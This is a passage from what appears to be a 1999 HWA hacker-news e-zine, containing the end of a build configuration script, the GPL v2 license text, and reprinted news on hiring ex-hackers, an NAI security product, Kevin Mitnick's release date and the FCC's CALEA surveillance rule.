echo "#define DEFAULT_PORT $PORT" >> src/include/config2.h
echo "#define SERVERPORT $PORT" >> src/include/config2.h
echo "#define ROOT \"$PWD/\"" >> src/include/config2.h
mv src/include/config2.h src/include/config.h
fi
if [ "$HOST" = "SunOS" ]
then
cp src/Makefile.sunos src/Makefile
cp src/include/originalconfig.h src/include/config.h
sed 's/\/\/#define SOLARIS 2/#define SOLARIS 2/g' src/include/config.h > src/include/config2.h
if [ "$LOGGING" -eq 0 ]
then
sed 's/#define LOGGING 1/\/\/ #define LOGGING 1/g' src/include/config2.h > src/include/config3.h
mv src/include/config3.h src/include/config2.h
fi
echo "#define DEFAULT_PORT $PORT" >> src/include/config2.h
echo "#define SERVERPORT $PORT" >> src/include/config2.h
echo "#define ROOT \"$PWD/\"" >> src/include/config2.h
mv src/include/config2.h src/include/config.h
fi
cd src/
echo "Type cd src/"
echo "type make all"
echo "Then you can cd ../bin to run the program"
ull compliance.
5. You are not required to accept this License, since you have not
signed it. However, nothing else grants you permission to modify or
distribute the Program or its derivative works. These actions are
prohibited by law if you do not accept this License. Therefore, by
modifying or distributing the Program (or any work based on the
Program), you indicate your acceptance of this License to do so, and
all its terms and conditions for copying, distributing or modifying
the Program or works based on it.
6. Each time you redistribute the Program (or any work based on the
Program), the recipient automatically receives a license from the
original licensor to copy, distribute or modify the Program subject to
these terms and conditions. You may not impose any further
restrictions on the recipients' exercise of the rights granted herein.
You are not responsible for enforcing compliance by third parties to
this License.
7. If, as a consequence of a court judgment or allegation of patent
infringement or for any other reason (not limited to patent issues),
conditions are imposed on you (whether by court order, agreement or
otherwise) that contradict the conditions of this License, they do not
excuse you from the conditions of this License. If you cannot
distribute so as to satisfy simultaneously your obligations under this
License and any other pertinent obligations, then as a consequence you
may not distribute the Program at all. For example, if a patent
license would not permit royalty-free redistribution of the Program by
all those who receive copies directly or indirectly through you, then
the only way you could satisfy both it and this License would be to
refrain entirely from distribution of the Program.
If any portion of this section is held invalid or unenforceable under
any particular circumstance, the balance of the section is intended to
apply and the section as a whole is intended to apply in other
circumstances.
It is not the purpose of this section to induce you to infringe any
patents or other property right claims or to contest validity of any
such claims; this section has the sole purpose of protecting the
integrity of the free software distribution system, which is
implemented by public license practices. Many people have made
generous contributions to the wide range of software distributed
through that system in reliance on consistent application of that
system; it is up to the author/donor to decide if he or she is willing
to distribute software through any other system and a licensee cannot
impose that choice.
This section is intended to make thoroughly clear what is believed to
be a consequence of the rest of this License.
8. If the distribution and/or use of the Program is restricted in
certain countries either by patents or by copyrighted interfaces, the
original copyright holder who places the Program under this License
may add an explicit geographical distribution limitation excluding
those countries, so that distribution is permitted only in or among
countries not thus excluded. In such case, this License incorporates
the limitation as if written in the body of this License.
9. The Free Software Foundation may publish revised and/or new versions
of the General Public License from time to time. Such new versions will
be similar in spirit to the present version, but may differ in detail to
address new problems or concerns.
Each version is given a distinguishing version number. If the Program
specifies a version number of this License which applies to it and "any
later version", you have the option of following the terms and conditions
either of that version or of any later version published by the Free
Software Foundation. If the Program does not specify a version number of
this License, you may choose any version ever published by the Free Software
Foundation.
10. If you wish to incorporate parts of the Program into other free
programs whose distribution conditions are different, write to the author
to ask for permission. For software which is copyrighted by the Free
Software Foundation, write to the Free Software Foundation; we sometimes
make exceptions for this. Our decision will be guided by the two goals
of preserving the free status of all derivatives of our free software and
of promoting the sharing and reuse of software generally.
NO WARRANTY
11. BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY
FOR THE PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN
OTHERWISE STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES
PROVIDE THE PROGRAM "AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED
OR IMPLIED, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS
TO THE QUALITY AND PERFORMANCE OF THE PROGRAM IS WITH YOU. SHOULD THE
PROGRAM PROVE DEFECTIVE, YOU ASSUME THE COST OF ALL NECESSARY SERVICING,
REPAIR OR CORRECTION.
12. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR
REDISTRIBUTE THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES,
INCLUDING ANY GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING
OUT OF THE USE OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED
TO LOSS OF DATA OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY
YOU OR THIRD PARTIES OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER
PROGRAMS), EVEN IF SUCH HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.
END OF TERMS AND CONDITIONS
How to Apply These Terms to Your New Programs
If you develop a new program, and you want it to be of the greatest
possible use to the public, the best way to achieve this is to make it
free software which everyone can redistribute and change under these terms.
To do so, attach the following notices to the program. It is safest
to attach them to the start of each source file to most effectively
convey the exclusion of warranty; and each file should have at least
the "copyright" line and a pointer to where the full notice is found.
<one line to give the program's name and a brief idea of what it does.>
Copyright (C) 19yy <name of author>
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 2 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program; if not, write to the Free Software
Foundation, Inc., 59 Temple Place, Suite 330, Boston, MA 02111-1307 USA
Also add information on how to contact you by electronic and paper mail.
If the program is interactive, make it output a short notice like this
when it starts in an interactive mode:
Gnomovision version 69, Copyright (C) 19yy name of author
Gnomovision comes with ABSOLUTELY NO WARRANTY; for details type `show w'.
This is free software, and you are welcome to redistribute it
under certain conditions; type `show c' for details.
The hypothetical commands `show w' and `show c' should show the appropriate
parts of the General Public License. Of course, the commands you use may
be called something other than `show w' and `show c'; they could even be
mouse-clicks or menu items--whatever suits your program.
You should also get your employer (if you work as a programmer) or your
school, if any, to sign a "copyright disclaimer" for the program, if
necessary. Here is a sample; alter the names:
Yoyodyne, Inc., hereby disclaims all copyright interest in the program
`Gnomovision' (which makes passes at compilers) written by James Hacker.
<signature of Ty Coon>, 1 April 1989
Ty Coon, President of Vice
This General Public License does not permit incorporating your program into
proprietary programs. If your program is a subroutine library, you may
consider it more useful to permit linking proprietary applications with the
library. If this is what you want to do, use the GNU Library General
Public License instead of this License.
@HWA
81.0 Working for the Man
~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by turtlex
Dark Tangent (Jeff Moss) offers his thoughts to Wired
on the hiring of 'hackers' and their place in mainstream
corporate society.
Wired
http://www.wired.com/news/news/business/story/21879.html
Cracking for the Man
by Joanna Glasner
3:00 a.m. 23.Sep.99.PDT
Nearly two years ago, when Jeff Moss took a job as director of security assessment for Secure Computing, the idea of hacker types joining the
computer security work force seemed far-fetched.
Not any more.
Applications from even the big-name companies were notoriously full of holes, after all, and there weren't many people who knew how to find them.
"Companies hired people from the underground because there were no other people available," said Moss, who is also known in tech circles as the
organizer of DefCon, the annual Las Vegas gathering of hackers and computer security types.
Although corporations shied away from hiring anyone with an actual criminal record, they weren't picky about how somebody acquired their skills.
So a mini-industry emerged around the idea of "ethical hacking."
The phrase inspires images of black-clad code pushers trading in underground connections for a corporate job, but the reality is more mundane.
"There are a lot of people from the hacking scene who are in corporate America, working away," Moss said. "There's no incentive for them to draw
attention to their past."
These days, Moss is doing what he can to establish closer ties between the security side and the hacker underground. In July, he organized the
third session of Black Hat briefings, a computer security conference bringing together corporate types, freelance hackers, and government officials
to hash out hot topics affecting the industry.
The last session, held in Las Vegas, touched on everything from the psychological profiling of virus writers to the military strategy for defeating
cyber-terrorists.
This fall, Moss is ranging far afield, launching Black Hat seminars in Amsterdam and Singapore, with a similar mix of officials and geeks.
"It has that sort of mystique in the sense of the people who are speaking," Moss said. "One might be in a business suit, and then you'll have a guy
from Canada with blue hair talking about ways to subvert dynamic routing protocols."
Edginess aside, Moss said he hopes to keep the focus pretty technical. The hot topic will be computer forensics: the collection and analyzing of
information after a break-in occurs to evaluate damage and track down perpetrators.
These skills are increasingly in demand.
According to the San Francisco-based Computer Security Institute, damage caused to companies by computer break-ins is steadily on the rise. A
survey found that over a three-year period, the number of companies reporting security breaches rose from 17 to 32 percent.
There is no widely accepted figure for the total cost of computer break-ins nationally, but estimates range in the hundreds of millions of dollars,
possibly billions on a global scale. As companies put more information on public networks, and do more business online, they run an increasing risk of
being cracked.
So naturally, computer security firms are seeing a growing demand for services, Moss said.
Besides Moss' Secure Computing, a number of corporate heavyweights -- including Ernst & Young, the accounting firm, and IBM, which coined the
term "ethical hacker" -- have beefed up their outfits.
Moss' firm has expanded its security division from four people to about 40 in a year and a half.
Like any other computer job, most of the work consists of sitting in front of a screen, an activity not necessarily imbued with hacking
counterculture mystique.
Still, Secure Computing provides opportunities for employees to play the criminal. A few companies, in addition to getting their computer networks
checked out, hire security specialists to come to their offices and attempt to commit crimes.
Moss says low-tech approaches often work best, like dumpster diving for corporate documents or calling up and impersonating a sales rep in an
attempt to get information about a company's computer set-up.
In recent months, security specialists have pulled stunts like dressing up as a package-delivery person to sneak into offices and steal confidential
information.
However, such special missions are still the exception. With so many security loopholes that can be exploited from afar, there's not much need to
show up in person.
"Most clients are more concerned about their network," Moss said. "Only the clients that think they have everything covered are willing to do the
more avant-garde stuff."
@HWA
82.0 NAI Prepares Security Product of the Future
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by n00ne
Security solutions provider Network Associates is set to
come out with the "network security solution of the
future". "Active Network Security",, is a server sans
most of the human elements in maintaining the security
of an information system. It is said to have to ability to
sense intrusions and deploy security levels without
human intervention, therefore making protection
available all the time, even on "wee hours" when the sys
admins are mostly in bed.
Computer Currents
http://www.currents.net/newstoday/99/09/23/news3.html
Yahoo News
http://au.dailynews.yahoo.com/headlines/230999/nbtech/938012220-805937189.html
Computer Currents;
Daily News
Intelligent Net Security
By Joel D Pinaroc, Metropolitan Computer Times.
September 23, 1999
Top security "solutions" provider Network Associates Inc.
[NASDAQ:NETA] is set to introduce Active Network
Security, a new technology that the company calls the
"network security solution of the future."
The new "solution," according to Dean Mansfield, NAI vice
president for Asia Pacific, is "essentially a server that
eliminates most of the human elements" in maintaining the
security of a corporate information system.
Mansfield said most corporate information systems still
deploy firewall-protected security "solutions" that are
sometimes vulnerable to intrusions.
Mansfield explained that the typical incursion would involve
unauthorized access to a network or a specific application.
What the firewall or any security "solution" usually does,
Mansfield said, is to "notify" the network administrator of the
unauthorized access.
The usual standard operating procedure then, Mansfield
noted, is that the administrator "sends" out instruction to the
network to block the "intruder." This instructions, or
"policies," are usually implemented by the administrator on a
"need to" basis.
Mansfield said this set up has proven to be effective.
However, intrusions and unauthorized access attempts
sometimes occur during the "wee hours of the morning"
when the administrator is not able to implement the security
policies when they are needed.
Mansfield said the period when the administrator cannot
implement security policies is the time when the network is
most vulnerable to "intruders" or even computer viruses. The
intruder or the computer virus is thus given the time "to do
damage" to the information system.
For computer viruses, Mansfield cited the case of "Melissa"
and "Chernobyl," two recent viruses.
What is the Active Network Security Solution? Mansfield
said NAI is bringing in its latest security products that can
protect a corporate IS to handle hostile external threats.
He added that the technology behind Active Network is the
"intelligence" of the "solution" to deploy policies even without
human intervention.
Said to be an automating tool, Mansfield said that the Active
Network Security system is "not a firewall" but a "server"
that can initiate more interactions among a network's security
levels.
This apparently means that even without the policies the
administrator has to implement, Active Security can both
sense intrusion and deploy the security levels to address the
"attack."
Mansfield said this would mean that at any given time, the
corporate IS is protected by the Active Security system.
Although Active Security technology is relatively new,
Mansfield said NAI is set to bring the technology to the
mass market by year-end. "We see Active Security as, not
only a corporate security tool, but as a potentially very useful
tool for home users," said Mansfield.
Yahoo News;
Thursday 23 September 12:57 AM
Network Associates Intros "Intelligent" Net Security
Top security "solutions" provider Network Associates Inc. [NASDAQ:NETA] is set to introduce Active Network Security, a new technology
that the company calls the "network security solution of the future."
The new "solution," according to Dean Mansfield, NAI vice president for Asia Pacific, is "essentially a server that eliminates most of the human
elements" in maintaining the security of a corporate information system.
Mansfield said most corporate information systems still deploy firewall-protected security "solutions" that are sometimes vulnerable to intrusions.
Mansfield explained that the typical incursion would involve unauthorized access to a network or a specific application. What the firewall or any security "solution"
usually does, Mansfield said, is to "notify" the network administrator of the unauthorized access.
The usual standard operating procedure then, Mansfield noted, is that the administrator "sends" out instruction to the network to block the "intruder." This
instructions, or "policies," are usually implemented by the administrator on a "need to" basis.
Mansfield said this set up has proven to be effective. However, intrusions and unauthorized access attempts sometimes occur during the "wee hours of the morning"
when the administrator is not able to implement the security policies when they are needed.
Mansfield said the period when the administrator cannot implement security policies is the time when the network is most vulnerable to "intruders" or even computer
viruses. The intruder or the computer virus is thus given the time "to do damage" to the information system.
For computer viruses, Mansfield cited the case of "Melissa" and "Chernobyl," two recent viruses.
What is the Active Network Security Solution? Mansfield said NAI is bringing in its latest security products that can protect a corporate IS to handle hostile external
threats.
He added that the technology behind Active Network is the "intelligence" of the "solution" to deploy policies even without human intervention.
Said to be an automating tool, Mansfield said that the Active Network Security system is "not a firewall" but a "server" that can initiate more interactions among a
network's security levels.
This apparently means that even without the policies the administrator has to implement, Active Security can both sense intrusion and deploy the security levels to
address the "attack."
Mansfield said this would mean that at any given time, the corporate IS is protected by the Active Security system.
Although Active Security technology is relatively new, Mansfield said NAI is set to bring the technology to the mass market by year-end. "We see Active Security
as, not only a corporate security tool, but as a potentially very useful tool for home users," said Mansfield.
@HWA
83.0 Mitnick Release Date Set
~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by Macki
Prison authorities have set January 21, 2000 as the day
Kevin Mitnick will finnally be released from prison. At
that time it will be almost five years that Kevin has
spent behind bars.
2600.com
http://www.2600.com/2600new/092499.html
MITNICK RELEASE DATE SET
9/24/99
According to prison authorities, Kevin Mitnick will be released
from prison on Friday, January 21, 2000. At that time he will have
served 1,792 days in federal custody - nearly five years.
At this time, we don't know if there will be a public celebration or
any other events. If there are, they would most likely occur in
either Los Angeles or Las Vegas, since those are the two cities
Kevin's relatives are in. Please check the 2600 and Free Kevin
sites for updates.
We are changing the Kevin Mitnick Lockdown Clock to the
Kevin Mitnick Freedom Countdown Clock effective immediately.
If you have the clock on your site, please download the new one
to reflect this change.
@HWA
84.0 FCC Gives Final Ruling on CALEA
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
From HNN http://www.hackernews.com
contributed by Weld Pond
The Federal Communications Commission has released
its final ruling on the Communications Assistance for Law
Enforcement Act (CALEA). This Act establishes the rules
telecommunications carriers must comply with which
allow law enforcement agencies the ability to conduct
electronic surveillance on their networks.
Federal Register
http://frwebgate.access.gpo.gov/cgi-bin/getdoc.cgi?dbname=1999_register&docid=99-24853-filed
[Federal Register: September 23, 1999 (Volume 64, Number 184)]
[Rules and Regulations]
[Page 51462-51470]
From the Federal Register Online via GPO Access [wais.access.gpo.gov]
[DOCID:fr23se99-18]
=======================================================================
-----------------------------------------------------------------------
FEDERAL COMMUNICATIONS COMMISSION
47 CFR Part 64
[CC Docket No. 97-213; FCC 99-11]
Implementation of the Communications Assistance for Law
Enforcement Act
AGENCY: Federal Communications Commission.
ACTION: Final rule.
-----------------------------------------------------------------------
SUMMARY: This document establishes limited rules to ensure that
carriers have policies and procedures in place that require the
affirmative intervention by and knowledge of, their employees in
effectuating any interception through their switching premises, and
that such interception is done lawfully and documented carefully. The
decision mandates that this be done by appointment of a designated
senior officer or employee by each carrier company who is responsible
for maintaining such security procedures. The decision also establishes
reporting and recordkeeping requirements for informing law enforcement
officials of all acts of unauthorized electronic surveillance that
occur on the carriers' premises, as well as any compromises of the
carriers' systems security and integrity procedures that involve the
execution of electronic surveillance. Finally, the decision adopts
filing requirements for large and small carriers. This document
contains modified information collections subject to the Paperwork
Reduction Act of 1995 (PRA), Public Law 104-13, and has been submitted
to the Office of Management and Budget (OMB) for review under the
section 3507 of the PRA.
DATES: Effective December 22, 1999 except for Secs. 64.2103, 64.2104,
and 64.2105, which contain information collection requirements that
have not been approved by the Office of Management and Budget. The FCC
will publish a document in the Federal Register announcing the
effective date for those sections. Public comment on the information
collections are due November 22, 1999.
FOR FURTHER INFORMATION CONTACT: Thomas Wasilewski, 202-418-1310. For
further information concerning the information collections contained in
this Report and Order, contact Les Smith, Federal Communications
Commission, Room 1A-804, 445 12th Street, S.W., Washington, DC 20054,
or via the Internet at lesmith@fcc.gov.
SUPPLEMENTARY INFORMATION: This is a summary of the Commission's Report
and Order (R&O) in CC Docket No. 97-213; FCC 99-11, adopted January 29,
1999, and released March 15, 1999. The complete text of this R&O is
available for inspection and copying during normal business hours in
the FCC Reference Information Center, Courtyard Level, 445 12th Street,
S.W., Washington, DC, and also may be purchased from the Commission's
copy contractor, International Transcription Services (ITS, Inc.), CY-
B400, 445 12th Street, S.W., Washington, DC.
Synopsis of the Report and Order
1. The Commission adopts a Report and Order (R&O) in CC Docket No.
97-213, regarding implementation of the Communications Assistance for
Law Enforcement Act (CALEA).<SUP>1</SUP> The R&O establishes systems
security and integrity regulations that all telecommunications carriers
must follow to comply with section 105 of CALEA. The regulations were
proposed in the Notice of Proposed Rule Making (NPRM) in this
proceeding, which can be found at 62 FR 63302, November 11, 1997. The
R&O adopts these regulations pursuant to the authority granted to the
Commission under section 105 of CALEA and section 229 of the
Communications Act of 1934, as amended. Accordingly, the R&O finds that
telecommunications carriers must ensure that ``any interception of
communications or access to call-identifying information effected
within its switching premises can be activated only in accordance with
a court order or other lawful authorization and with the affirmative
intervention of an individual officer or employee of the carrier''
<SUP>2</SUP> acting in accordance with the regulations adopted in the
R&O and sections 229(b) and (c) of the Communications Act.
---------------------------------------------------------------------------
\1\ Public Law 103414, 108 Stat. 4279 (1994).
\2\ 47 U.S.C. 1004.
---------------------------------------------------------------------------
2. While recognizing that certain carriers currently have existing
policies and procedures in place to secure and protect their
telecommunications systems in a manner that would comply with section
105 of CALEA and sections 229(b) and (c) of the Communications Act, the
R&O finds that the void created by those carriers without such policies
and procedures demands adoption of minimum set of requirements that
will ensure compliance with section 105 of CALEA and sections 229(b)
and (c) of the Communications Act. The R&O declines, however, to adopt
specific or detailed policies and procedures that telecommunications
carriers must include within their internal operating practices to
ensure compliance, because, as the R&O further finds, it is not the
Commission's responsibility to ``micro-manage'' telecommunications
carriers' corporate policies. The rules adopted in the R&O are intended
to provide carriers with guidance as to the minimum requirements
necessary to achieve compliance with section 105 of CALEA and sections
229(b) and (c) of the Communications Act in the least burdensome manner
possible.
3. The R&O mandates that carriers, as part of their policies and
procedures, must appoint the senior authorized officer(s) or
employee(s) whose job function includes being a point of contact for
law enforcement on a daily, around-the-clock basis. Carriers must
include in their policies and procedures a description of the job
functions of such points of contact and a method to enable law
enforcement authorities to contact these individuals.
4. Although the Commission declines to adopt a proposal to require
carriers to
[[Page 51463]]
respond to an interception request within a specific time frame, the
R&O encourages carriers to respond promptly and comply with any other
relevant statutes concerning their duty to assist law enforcement
authorities in performing an interception of communications or
facilitating access to call-identifying information.
5. The R&O next clarifies the term ``appropriate authorization,''
as used in section 229(b)(1)(A) of the Communications Act, which
requires that common carriers establish appropriate personnel
supervision and control policies and procedures ``to require
appropriate authorization to activate interception of communications or
access to call-identifying information(.)'' <SUP>3</SUP> The R&O, based
on the explicit language of section 105 of CALEA and section 229(b) of
the Communications Act, concludes that ``appropriate authorization''
refers both to the legal authorization that law enforcement must
present to a carrier in the form of an order, warrant, or other
authorization issued by a judge or magistrate pursuant to federal or
state statutory authority (appropriate legal authorization), and to the
authorization a carrier's employee must receive from the carrier to
assist law enforcement (appropriate carrier authorization) to engage in
the interception of communication or the access to call-identifying
information. The R&O concludes that a carrier satisfies the requirement
for appropriate authorization only when a carrier's employee implements
the interception of communications or access to call-identifying
information in accordance with appropriate carrier authorization after
having received legal authorizations.
---------------------------------------------------------------------------
\3\ 47 U.S.C. 229(b)(1)(A).
---------------------------------------------------------------------------
6. The R&O also requires carriers to state in their internal
policies and procedures that carrier personnel must receive both
appropriate legal authorization and appropriate carrier authorization
before taking any action to affirmatively implement the interception of
communications or access to call-identifying information. Carriers must
also, upon receipt of a proffered authorization by law enforcement,
determine that such authorization is what it purports to be, and that
it can be implemented technically, including that it is sufficiently
and accurately detailed to enable the carrier to comply with its terms.
The Commission notes, however, that its determination in the R&O under
section 105 of CALEA and section 229 of the Communications Act
regarding the level of scrunity applicable to a carrier's review of a
court order or certification is in no way intended to alter or replace
any standard or level of scrutiny imposed under any other state or
federal statute. Accordingly, the R&O requires that, as part of their
policies and procedures, carriers should also comply with appropriate
authorization requirements contained in any other relevant state or
federal statute when reviewing an authorization, and must ensure that
their designated senior officer(s) or employee(s) responsible for
affirmatively intervening to activate the interception of
communications or access to call-identifying information is fully
apprised of any additional relevant federal and state statutory
provisions.
7. The R&O further provides that carriers must report all acts of
unauthorized electronic surveillance that occur on their premises, as
well as any compromises of the carrier's system security and integrity
procedures that involve the execution of electronic surveillance, to
the appropriate law enforcement agency. The R&O does not, however,
impose a specific time frame within which a carrier must report a
security breach. Rather, the R&O requires that carriers report such
breaches within a reasonable period of time and in compliance with any
other relevant statutes.
8. Additionally, in order to comply with section 229(b)(2), the
carrier must maintain secure and accurate records of each interception
of communication or access to call-identifying information, made with
or without appropriate authorization, in the form of single
certification. This certification must include, at a minimum: (1) The
telephone number(s) and/or circuit identification numbers involved; (2)
the start date and time of the opening of the circuit for law
enforcement; (3) the identity of the law enforcement officer presenting
the authorization; (4) the name of the judge or prosecuting attorney
signing the authorization; (5) the type of interception of
communications or access to call-identifying information; and (6) the
name of the telecommunications carrier's personnel who is responsible
for overseeing the interception of communication or access to call-
identifying information and who is acting in accordance with the
carrier's policies established under section 229(b)(1). The designated
employee must sign each record, to certify the record is complete and
accurate. The Order mandates that carriers maintain these records for
ten years and keep records relating to the content of authorized
interception for a period of time determined by individual carriers in
accordance with policies and procedures established under section
229(b)(1) of the Communications Act and applicable state and federal
statutes of limitation.<SUP>4</SUP>
---------------------------------------------------------------------------
\4\ On July 16, 1999, the Commission adopted an Order on
Reconsideration (Order) in this proceeding (FCC 99-184), which
revises the recordkeeping and maintenance requirements adopted in
the R&O. The Order eliminates the requirement that
telecommunications carriers retain the content or call-identifying
information of any interceptions of communications and the 10 year
record retention requirement. Instead, carriers must retain the
certification for a ``reasonable period of time.''
---------------------------------------------------------------------------
9. The R&O adopts filing requirements in accordance with section
229(b)(3) of the Communications Act. In this regard, the R&O finds that
all telecommunications carriers must submit to the Commission the
policies and procedures adopted to comply with the requirements
established under sections 229(b)(1) and (2), regardless of carrier
size. The Commission will review carriers' policies procedures to
determine whether they comply with the Commission's Rules. If the
Commission determines that a carrier's policies and procedures are non-
compliant, the carrier shall modify its policies and procedures in
accordance with an order released by the Commission. Moreover, the
Commission shall conduct investigations as may be necessary to ensure
compliance by telecommunications carriers with the requirements of
rules established by the Commission under section 229 of the
Communications Act and section 105 of CALEA.
10. The R&O mandates that all carriers file their policies and
procedures within 90 days from the effective date of the rules adopted
in this R&O, and they must further file their policies and procedures
with the Commission no later than 90 days after the effective date of a
merger or divestiture in which a carrier becomes the surviving or
divested entity. This 90 day filing requirement also applies to
carriers who amend existing policies and procedures already filed with
the Commission.
11. Finally, the R&O does not adopt any rules (in addition to the
liabilities established by Congress in CALEA) that extend criminal and/
or civil liability, vicarious or otherwise, to a carrier for the
violations of section 105 of CALEA and section 229 of the
Communications Act. Instead, if a carrier violates the Commission's
rules implementing section 105 of CALEA, the Commission shall enforce,
pursuant to section 229(d), the penalties articulated in
[[Page 51464]]
sections 503(b) of the Communications Act and 1.80 of the Commission's
Rules.
Paperwork Reduction Act of 1995 Analysis
12. The actions contained in this R&O have been analyzed with
respect to the Paperwork Reduction Act of 1995 and found to impose
modified reporting and recordkeeping requirements or burdens on the
public. Implementation of these modified reporting and recordkeeping
requirements will be subject to approval by the Office of Management
and Budget, as prescribed by the Act. The new or modified paperwork
requirements contained in the Report and Order will go into effect
December 22, 1999, dependent on OMB approval.
Final Regulatory Flexibility Analysis
13. As required by section 603 of the Regulatory Flexibility Act
(RFA), 5 U.S.C. 603, an Initial Regulatory Flexibility Analysis (IRFA)
was incorporated in the NPRM. The Commission sought written public
comments on the proposals in the NPRM, including the IRFA. The
Commission's Final Regulatory Flexibility Analysis (FRFA) in this
Report and Order conforms to the RFA, as amended by the Contract With
America Advancement Act of 1996 (CWAAA), Public Law 104-121, 110 Stat.
847 (1996).<SUP>5</SUP>
---------------------------------------------------------------------------
\5\ Subtitle II of the CWAAA is ``The Small Business Regulatory
Enforcement Fairness Act of 1996'' (SBREFA), codified at 5 U.S.C.
601 et. seq.
---------------------------------------------------------------------------
(1) Need for and Purpose of this Action
14. This Report and Order responds to the legislative mandate
contained in the Communications Assistance for Law Enforcement Act,
Public Law 103-414, 108 Stat. 4279 (1994). The Commission, in
compliance with 47 U.S.C. 229, promulgated rules in this Report and
Order to ensure the prompt implementation of section 105 of CALEA. In
enacting CALEA, Congress sought to ``make clear a telecommunications
carrier's duty to cooperate in the interception of communications for
law enforcement purposes. . .'' <SUP>6</SUP> Specifically, Congress
sought to balance three key policies with CALEA: ``(1) to preserve a
narrowly focused capability for law enforcement agencies to carry out
properly authorized intercepts; (2) to protect privacy in the face of
increasingly powerful and personally revealing technologies; and (3) to
avoid impeding the development of new communications services and
technologies.'' <SUP>7</SUP>
---------------------------------------------------------------------------
\6\ CALEA, supra, at preamble.
\7\ H. Rep. No. 103-837 at 23, reprinted in 1994 U.S.C.C.A.N.
3489.
---------------------------------------------------------------------------
15. The rules adopted in this Report and Order implement Congress's
goal to clarify a telecommunications carrier's duty to cooperate with
law enforcement agencies that request lawful electronic surveillance,
and to balance the three key policies, enumerated in this decision. The
objective of the rules adopted in this Report and Order is to
implement, as quickly and effectively as possible, the national
telecommunications policy for telecommunications carriers to support
the lawful electronic surveillance needs of law enforcement agencies.
(2) Summary of the Issues Raised by Public Comments Made in Response to
the IRFA
Summary of Initial Regulatory Flexibility Analysis (IRFA)
16. In the NPRM, the Commission performed an IRFA and asked for
comments that specifically addressed issues raised in the IRFA. In the
IRFA, the Commission found that the rules it proposed to adopt in this
proceeding may have a significant impact on a substantial number of
small businesses as defined by section 601(3) of the RFA.
17. In the IRFA, the Commission reiterated its proposed rules in
the NPRM requiring telecommunications carriers to establish policies
and procedures governing the conduct of officers and employees who are
engaged in surveillance activity. The proposed rules required
telecommunications carriers to maintain records of all interceptions of
communications and call identification information. Additionally, the
proposed rules required telecommunications carriers to execute an
affidavit for, and maintain a separate record of, each electronic
surveillance. Furthermore, the Commission sought comment on the length
of time telecommunications carriers should retain electronic
surveillance records, noting that 18 U.S.C. 2518(8)(a) calls for a
retention period of ten years for intercepted communications. The
proposed rules also required telecommunications carriers to report
security breaches (compromises to lawful electronic surveillance and
illegal electronic surveillance) to both the Commission and the
affected law enforcement agency.
18. In the IRFA, the Commission reiterated that our proposed rules
require telecommunications carriers classified as Class A companies
pursuant to 47 U.S.C. 32.11 to file individually with the Commission a
statement of its processes and procedures used to comply with the
systems security rules promulgated by the Commission.
Telecommunications carriers classified as Class B companies pursuant to
47 U.S.C. 32.11 could elect either to file a statement describing their
security processes and procedures or to certify that they observed
procedures consistent with the security rules promulgated by the
Commission. The Commission noted that because electronic surveillance
capacity and capability requirements are still being developed it is
not possible to predict with certainty whether the costs of compliance
will be proportionate with regard to both small and large
telecommunications carriers.
19. In the IRFA, the Commission tentatively concluded that a
substantial number of telecommunications carriers who have been
subjected to demands from law enforcement personnel to provide lawful
interceptions and call-identifying information for a period time
preceding CALEA already have in place practices for proper employee
conduct and recordkeeping. The Commission noted that, as a practical
matter, telecommunications carriers need such practices to protect
themselves from suit by persons who claim they were the victims of
illegal surveillance. By providing general guidance regarding the
conduct of carrier personnel and the content of records in the proposed
regulations, the Commission intended telecommunications carriers to use
their existing practices to the maximum extent possible. Thus, in the
IRFA, the Commission tentatively concluded that the additional cost to
most telecommunications carriers for conforming to the Commission's
proposed regulations, should be minimal.
20. Comments. Only one party filed comments in response to the
IRFA, but many parties commented on the Commission's proposed system
security and integrity regulations in response to the NPRM. The record
provided by all of these commenting parties clearly disfavors the
amount of recordkeeping proposed by the Commission in the NPRM, and
includes numerous suggestions to reduce the amount of paperwork
required by the proposed regulations without jeopardizing statutory
compliance. Thus, the final regulations reduce significantly the amount
of paperwork required of telecommunications carriers. Other parties
commented that the Commission should not promulgate any new rules to
[[Page 51465]]
implement CALEA. A plain reading of 47 U.S.C. 229(b) shows that
Congress requires the Commission to promulgate regulations that ensure
the systems security and integrity of carriers, by compelling carriers
to submit their CALEA systems security and integrity policies and
procedures to the Commission and provide records that prove to the
Commission how each telecommunications carrier is complying with the
requirements of CALEA section 105. Thus, commentary against any new
regulations contradicts the plain language of 47 U.S.C. 229.
(3) Description and Estimates of the Number of Entities Affected by
This Report and Order
21. Consistent with prior practice, the Commission shall continue
to exclude small incumbent LECs from the definition of a small entity
for the purpose of this FRFA. Nevertheless, as mentioned above, the
Commission includes small incumbent LECs in the FRFA. Accordingly, the
Commission's use of the terms ``small entities'' and ``small
businesses'' does not encompass ``small incumbent LECs.'' The
